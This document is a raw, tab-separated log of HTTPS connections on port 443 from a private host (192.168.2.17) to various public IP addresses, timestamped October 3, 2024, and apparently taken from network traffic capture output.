Oct 3, 2024 17:19:31.831547022 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.831593990 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.833738089 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.833766937 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.833842993 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.833859921 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.833878994 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.833904028 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.917067051 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.917097092 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.917171001 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.917197943 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.917332888 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.917332888 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.920166969 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.920217037 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.920233965 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.920254946 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.920273066 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.920274973 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:31.920299053 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.920330048 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.920536995 CEST	55886	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:31.920555115 CEST	443	55886	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:32.117732048 CEST	443	55887	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.119283915 CEST	55887	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.119334936 CEST	443	55887	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.120486975 CEST	443	55887	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.121787071 CEST	55887	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.121959925 CEST	443	55887	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.121972084 CEST	55887	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.127041101 CEST	443	55888	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.129060984 CEST	55888	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.129082918 CEST	443	55888	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.130222082 CEST	443	55888	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.131308079 CEST	55888	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.131517887 CEST	443	55888	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.162117958 CEST	55887	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.162166119 CEST	443	55887	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.178467035 CEST	55888	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.180771112 CEST	55887	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.181077957 CEST	443	55887	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.181180954 CEST	55887	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.190924883 CEST	55889	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.191015959 CEST	443	55889	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.191097975 CEST	55889	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.192291021 CEST	55889	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.192323923 CEST	443	55889	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.196440935 CEST	55888	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.243407965 CEST	443	55888	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.480047941 CEST	443	55888	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.480245113 CEST	443	55888	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.480366945 CEST	55888	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.480735064 CEST	55888	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.480787992 CEST	443	55888	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.480815887 CEST	55888	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.480849981 CEST	55888	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.482959986 CEST	55890	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:32.483030081 CEST	443	55890	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:32.483118057 CEST	55890	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:32.483835936 CEST	55890	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:32.483858109 CEST	443	55890	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:32.581202030 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.581248999 CEST	443	55891	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.581346989 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.581733942 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.581768036 CEST	443	55891	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.832484961 CEST	443	55889	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.833200932 CEST	55889	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.833265066 CEST	443	55889	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.833808899 CEST	443	55889	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.834228039 CEST	55889	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.834352970 CEST	443	55889	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:32.834393978 CEST	55889	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.878596067 CEST	55889	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:32.878659010 CEST	443	55889	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.074100971 CEST	443	55889	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.074208975 CEST	443	55889	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.074306965 CEST	55889	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.074723005 CEST	55889	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.074723005 CEST	55889	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.074749947 CEST	443	55889	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.074807882 CEST	55889	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.076756954 CEST	55892	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:33.076783895 CEST	443	55892	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:33.076865911 CEST	55892	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:33.077080011 CEST	55892	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:33.077095032 CEST	443	55892	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:33.196207047 CEST	443	55891	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.196535110 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.196600914 CEST	443	55891	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.200558901 CEST	443	55891	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.200781107 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.201025963 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.201219082 CEST	443	55891	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.245382071 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.245403051 CEST	443	55891	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.293868065 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.435579062 CEST	443	55890	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:33.435890913 CEST	55890	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:33.435909986 CEST	443	55890	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:33.439913988 CEST	443	55890	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:33.440015078 CEST	55890	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:33.440022945 CEST	443	55890	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:33.440072060 CEST	55890	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:33.440294981 CEST	55890	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:33.440466881 CEST	55890	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:33.440474033 CEST	443	55890	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:33.440746069 CEST	443	55890	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:33.484395981 CEST	55890	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:33.484409094 CEST	443	55890	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:33.532407045 CEST	55890	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:33.585681915 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.631401062 CEST	443	55891	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.761322021 CEST	443	55891	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.761495113 CEST	443	55891	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.761585951 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.761730909 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.761780024 CEST	443	55891	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:33.761807919 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.761848927 CEST	55891	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:33.765109062 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:33.765151978 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:33.765261889 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:33.765496016 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:33.765511990 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.027232885 CEST	443	55892	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:34.027540922 CEST	55892	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:34.027586937 CEST	443	55892	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:34.028089046 CEST	443	55892	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:34.028381109 CEST	55892	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:34.028467894 CEST	443	55892	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:34.070415020 CEST	55892	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:34.367711067 CEST	443	55890	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:34.367913008 CEST	443	55890	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:34.367989063 CEST	55890	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:34.368438959 CEST	55890	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:34.368463993 CEST	443	55890	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:34.625566959 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.626300097 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:34.626338959 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.627520084 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.630258083 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:34.630429029 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.632493019 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:34.671909094 CEST	55895	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:34.671952963 CEST	443	55895	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:34.672038078 CEST	55895	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:34.672328949 CEST	55896	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:34.672369003 CEST	443	55896	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:34.672434092 CEST	55896	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:34.674175978 CEST	55895	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:34.674196005 CEST	443	55895	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:34.674448013 CEST	55896	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:34.674463034 CEST	443	55896	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:34.679404020 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.829185009 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.829238892 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.829281092 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.829320908 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:34.829353094 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.829387903 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:34.829415083 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:34.917857885 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.917908907 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.918239117 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:34.918239117 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:34.918272018 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.918330908 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:34.919698954 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.919740915 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.919775963 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:34.919784069 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:34.919806004 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:34.919828892 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:35.006251097 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:35.006295919 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:35.006485939 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:35.006485939 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:35.006519079 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:35.006575108 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:35.007724047 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:35.007765055 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:35.007797956 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:35.007805109 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:35.007838011 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:35.007838964 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:35.007915974 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:35.007947922 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:35.007962942 CEST	443	55893	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:35.007976055 CEST	55893	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:35.296272039 CEST	443	55895	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.296484947 CEST	55895	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.296508074 CEST	443	55895	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.296983004 CEST	443	55895	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.297230959 CEST	55895	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.297312021 CEST	443	55895	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.297353029 CEST	55895	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.321887970 CEST	443	55896	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.322129011 CEST	55896	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.322160006 CEST	443	55896	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.322808027 CEST	443	55896	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.323067904 CEST	55896	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.323153019 CEST	443	55896	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.343398094 CEST	443	55895	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.343477011 CEST	55895	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.375366926 CEST	55896	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.680843115 CEST	55896	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.727402925 CEST	443	55896	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.794776917 CEST	443	55895	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.794891119 CEST	443	55895	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.794946909 CEST	55895	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.795339108 CEST	55895	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.795368910 CEST	443	55895	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.795382023 CEST	55895	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.795470953 CEST	55895	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.797647953 CEST	55892	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:35.843401909 CEST	443	55892	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:35.968343019 CEST	443	55896	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.968420029 CEST	443	55896	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.968492031 CEST	55896	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.968847036 CEST	55896	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:35.968869925 CEST	443	55896	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:35.972820044 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:35.972862005 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:35.972942114 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:35.973210096 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:35.973231077 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:36.391808033 CEST	443	55892	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:36.391911983 CEST	443	55892	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:36.391983986 CEST	55892	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:36.392693996 CEST	55892	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:36.392716885 CEST	443	55892	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:36.836097002 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:36.836476088 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:36.836518049 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:36.837651968 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:36.837990999 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:36.838140965 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:36.838170052 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:36.885654926 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.038901091 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.038968086 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.038988113 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.039027929 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.039072990 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.039087057 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.039118052 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.039133072 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.039141893 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.039176941 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.126694918 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.126756907 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.126827955 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.126846075 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.126854897 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.127010107 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.128293991 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.128346920 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.128377914 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.128385067 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.128402948 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.128422976 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.217622042 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.217686892 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.217797995 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.217833042 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.217848063 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.217879057 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.218482018 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.218525887 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.218550920 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.218559980 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.218575954 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.218601942 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.218611002 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.218699932 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:37.218746901 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.221506119 CEST	55897	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:37.221527100 CEST	443	55897	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:38.365438938 CEST	55755	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:19:38.365475893 CEST	443	55755	136.243.216.232	192.168.2.17
Oct 3, 2024 17:19:39.208986998 CEST	55906	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:39.209019899 CEST	443	55906	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:39.209072113 CEST	55906	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:39.209315062 CEST	55906	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:39.209327936 CEST	443	55906	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:39.209969997 CEST	55907	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:39.209990025 CEST	443	55907	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:39.210051060 CEST	55907	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:39.210520983 CEST	55907	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:39.210535049 CEST	443	55907	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:39.220819950 CEST	55909	443	192.168.2.17	18.171.79.250
Oct 3, 2024 17:19:39.220870018 CEST	443	55909	18.171.79.250	192.168.2.17
Oct 3, 2024 17:19:39.220949888 CEST	55909	443	192.168.2.17	18.171.79.250
Oct 3, 2024 17:19:39.221128941 CEST	55909	443	192.168.2.17	18.171.79.250
Oct 3, 2024 17:19:39.221144915 CEST	443	55909	18.171.79.250	192.168.2.17
Oct 3, 2024 17:19:39.240250111 CEST	55910	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:39.240288019 CEST	443	55910	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:39.240371943 CEST	55910	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:39.243102074 CEST	55910	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:39.243117094 CEST	443	55910	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:39.246182919 CEST	55911	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:39.246197939 CEST	443	55911	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:39.246275902 CEST	55911	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:39.246542931 CEST	55911	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:39.246557951 CEST	443	55911	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:39.249454021 CEST	55912	443	192.168.2.17	142.250.186.66
Oct 3, 2024 17:19:39.249465942 CEST	443	55912	142.250.186.66	192.168.2.17
Oct 3, 2024 17:19:39.249527931 CEST	55912	443	192.168.2.17	142.250.186.66
Oct 3, 2024 17:19:39.249694109 CEST	55912	443	192.168.2.17	142.250.186.66
Oct 3, 2024 17:19:39.249701977 CEST	443	55912	142.250.186.66	192.168.2.17
Oct 3, 2024 17:19:39.255085945 CEST	55913	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:39.255096912 CEST	443	55913	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:39.255163908 CEST	55913	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:39.255354881 CEST	55913	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:39.255368948 CEST	443	55913	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:39.260021925 CEST	55914	443	192.168.2.17	66.226.1.69
Oct 3, 2024 17:19:39.260051966 CEST	443	55914	66.226.1.69	192.168.2.17
Oct 3, 2024 17:19:39.260139942 CEST	55914	443	192.168.2.17	66.226.1.69
Oct 3, 2024 17:19:39.260324001 CEST	55914	443	192.168.2.17	66.226.1.69
Oct 3, 2024 17:19:39.260333061 CEST	443	55914	66.226.1.69	192.168.2.17
Oct 3, 2024 17:19:39.263902903 CEST	55915	443	192.168.2.17	91.228.74.166
Oct 3, 2024 17:19:39.263916969 CEST	443	55915	91.228.74.166	192.168.2.17
Oct 3, 2024 17:19:39.263977051 CEST	55915	443	192.168.2.17	91.228.74.166
Oct 3, 2024 17:19:39.264250040 CEST	55915	443	192.168.2.17	91.228.74.166
Oct 3, 2024 17:19:39.264261961 CEST	443	55915	91.228.74.166	192.168.2.17
Oct 3, 2024 17:19:39.272221088 CEST	55917	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:39.272232056 CEST	443	55917	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:39.272289038 CEST	55917	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:39.272540092 CEST	55917	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:39.272557020 CEST	443	55917	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:39.276710987 CEST	55918	443	192.168.2.17	157.240.0.6
